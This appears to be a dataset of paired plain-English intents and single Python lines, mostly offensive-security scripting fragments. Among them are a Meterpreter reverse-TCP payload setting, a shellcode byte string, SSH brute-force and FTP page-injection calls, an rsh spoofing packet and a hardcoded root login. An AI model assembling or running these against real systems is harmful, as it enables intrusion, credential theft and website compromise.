Intent
stringlengths
4
208
Script
stringlengths
4
171
Create a parser with OptionParser 'usage %prog -p <pcap file> -t <thresh>'
parser = optparse.OptionParser("usage %prog '+'-p <pcap file> -t <thresh>" )
Define the function retGeoStr with argument ip
def retGeoStr(ip):
Assign to the variable host the value 'localhost'
host = 'localhost'
Define the function printPcap with argument pcap
def printPcap(pcap):
Call the function exit with argument 0
exit(0)
Change the scope of the variable Fails to global
global Fails
Assign to filename the function join of path of os with arguments dir and the method replace with arguments '/' and '_' of filename
filename = os.path.join(dir,filename.replace('/', '_'))
Remove from search 'q=' and '+'
search=search.replace('q=', '').replace('+', ' ')
Import the library for the regular expressions
import re
Read the file passwdFile and assign it to pF
pF = open(passwdFile, 'r')
Call function pxssh of library pxssh with no arguments and assign it to s
s = pxssh.pxssh()
Assign to long the field 'longitude' of rec
long = rec['longitude']
Assign to THRESH the value thresh of options
THRESH = options.thresh
Define the class Google_result
class Google_Result:
If count of options is equal to None
if options.count == None:
Assign to url the url of options
url = options.url
Assign to dirs a list containing 'C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\'
dirs=['C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\']
Call the function findRecycledDir
findRecycled(recycledDir)
Import the library to interact with operative system
import os
Get the record for that IP and assign it to rec
rec = gi.record_by_name(ip)
Assign the variable user of options to user
user = options.user
Assign to pkts the result of the function rdpcap with argument 'domainFlux.cap'
pkts = rdpcap('domainFlux.pcap')
Assign to mapLon the value 'N/A'
mapLon = 'N/A'
Import the library to scan the ports
import nmap
Call the function open with argument imgFileName and 'wb' and assign it to imgFile
imgFile = open(imgFileName, 'wb')
Assign to ans the result of the functionsr1 with argument pkt and verbose equals to 0
ans = sr1(pkt, verbose=0)
Continue the arguments with help equals to 'specify PDF file name'
help='specify PDF file name')
Call the function sniff with argument prn equals testTTL and store equals to 0
sniff(prn=testTTL, store=0)
Exit the function with user value
return user
Define the function testForExif with argument imgFIleName
def testForExif(imgFileName):
Define the function addClient with arguments host, user and password
def addClient(host, user, password):
Define the function scanTest with arguments src, dst, iface and count
def scanTest(src, dst, iface, count):
Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n'
'windows/meterpreter/reverse_tcp\\n')
Exit function with value False
return False
Assign to title the result with key 'titleNoFormatting'
title = result['titleNoFormatting']
Add the option of the parser H for tgtHost as a string with help specify target host
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
For each attempt from 1 to 5
for attempt in range(1, 5):
Call the method strip with argument ' ' of addr, call the method replace with arguments ' ' and ':', take the values from 0 to 17 and assign it to addr
addr = addr.strip(' ').replace(' ', ':')[0:17]
Call the member function user of options and assign it to user
user = options.user
Start except block
except:
Call the method add_option with arguments '-k', dest equals to 'keyword', type equals to 'string' and help= equals to 'specify target url'
parser.add_option('-k', dest='keyword', type='string', help='specify google keyword')
Assign to platform the value argv at position 2 of sys
platform = sys.argv[2]
Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-k <keywords>' of optparse
parser = optparse.OptionParser('usage %prog ' + '-k <keywords>')
Get the record for that IP and assign it to rec
rec = gi.record_by_name(tgt)
Call the method start of t and assign the result to child
child = t.start()
Do nothing
pass
Assign to city the field 'country_code3' of rec
country = rec['country_code3']
Parse the usage prod pd target host, the target port, the user and the directory
parser = optparse.OptionParser('usage %prog -H '+ '<target host> -u <user> -d <directory>')
Assign to iface of conf the value iface of options
conf.iface = options.iface
Assign to host the value of the function str with argument row at the position 0
host = str(row[0])
Call the function findTgts with argument tgtHost of options and assign it to tgtHosts
tgtHosts = findTgts(options.tgtHost)
Change the scope of the variable Found to global
global Found
Assign the variable tgtHost of options to host
host = options.tgtHost
For each item in dnsRecords
for item in dnsRecords:
Exit function with argument True
return True
For each sid in dirList
for sid in dirList:
Call the function scanTest with arguments src, dst, iface and count
scanTest(src, dst, iface, count)
Assign to respURL the value 'http://wigle.net/gps/gps/main/confirmquery/'
respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
If the substring '!lazor' is in data of tcp in lower case
if '!lazor' in tcp.data.lower():
Call the method write of configFile with argument 'set payload ' and concatenate next line
configFile.write('set payload '+\
From the library used for interact with windows registry import everything
from _winreg import *
and "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
Import the library for file transfer protocol
import ftplib
If sport is equal to 6667
if sport == 6667:
Call the function bruteLogin with argument host and passwdFile
bruteLogin(host, passwdFile)
Call the function injectPage with arguments ftp, 'index.html' and redirect
injectPage(ftp, 'index.html', redirect)
Assign to url of self the value url
self.url = url
If pktsSent is more than THRESH
if pktsSent > THRESH:
Call the method write with argument imgContent of imgFile
imgFile.write(imgContent)
Execute the command "select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"on c
c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;")
Else
else:
Append the new_gr to the list results
results.append(new_gr)
If the method has_key with argument ipsrc of ttlValues is not True
if not ttlValues.has_key(ipsrc):
Define the function mirrorImages with argument url and dir
def mirrorImages(url, dir):
Call the method add_option with arguments '-u', dest equals to 'tgtURL', type equals to 'string' and help equals to 'specify target url'
parser.add_option('-u', dest='tgtURL', type='string', help='specify target url')
Start except block
except:
Instantiate a Semaphore named screenLock initialized with variable values equals 1
screenLock = Semaphore(value=1)
Return the variable kmlPts
return kmlPts
Exit the cycle
break
Add the option of the parser u for user as a string with help specify the user
parser.add_option('-u', dest='user', type='string', help='specify the user')
Read all the network traffic from f and assign it to pcap
pcap = dpkt.pcap.Reader(f)
Call the function printHistory with argument placesDB
printHistory(placesDB)
Assign to IPlayer the result of the function IP with src equals src and dst equals to tgt
IPlayer = IP(src=src, dst=tgt)
Call the method anonymize with no argument of ab
ab.anonymize()
Call the function send with argument pkt
send(pkt)
Call function connect with arguments '127.0.0.1', 'root' and 'toor'
s = connect('127.0.0.1', 'root', 'toor')
Assign to mapLat the value 'N/A'
mapLat = 'N/A'
Assign to the tuple options and args the method parse_args with no arguments of parser
(options, args) = parser.parse_args()
For each result in response with keys 'responseData' and 'results'
for result in objects['responseData']['results']:
Assign to hideMeProxy the dictionary with key 'http' and value equals to '216.155.139.115:3128'
hideMeProxy = {'http': '216.155.139.115:3128'}
If the functions len with argument argv of sys returns a value bigger than 2
if len(sys.argv) > 2:
Open the url and assign it to page
page = browser.open(url)
Call the method send with argument "PASS \r\n" of s
s.send("PASS \r\\n")
Assign to ip the data of eth
ip = eth.data
Assign to tgt the tgt of options
tgt = options.tgt
Call the object PdfFileReader with argument file with arguments fileName and 'rb' and assign it to pdfFile
pdfFile = PdfFileReader(file(fileName, 'rb'))
Call the method add_option with arguments '-F', dest equals to 'fileName' and type equals to 'string' of parser
parser.add_option('-F', dest='fileName', type='string',\
Assign to msgDirection the concatenation of From, the function str with argument row at position 1 and :
msgDirection = 'From ' + str(row[2]) + ' : '
Assign to TCPlayer the result of the function TCP with argument sport equals to 513 and dport equals to 514
TCPlayer = TCP(sport=513, dport=514)
Call the function PortScanner with no argument from the library nmap and assign
nmScan = nmap.PortScanner()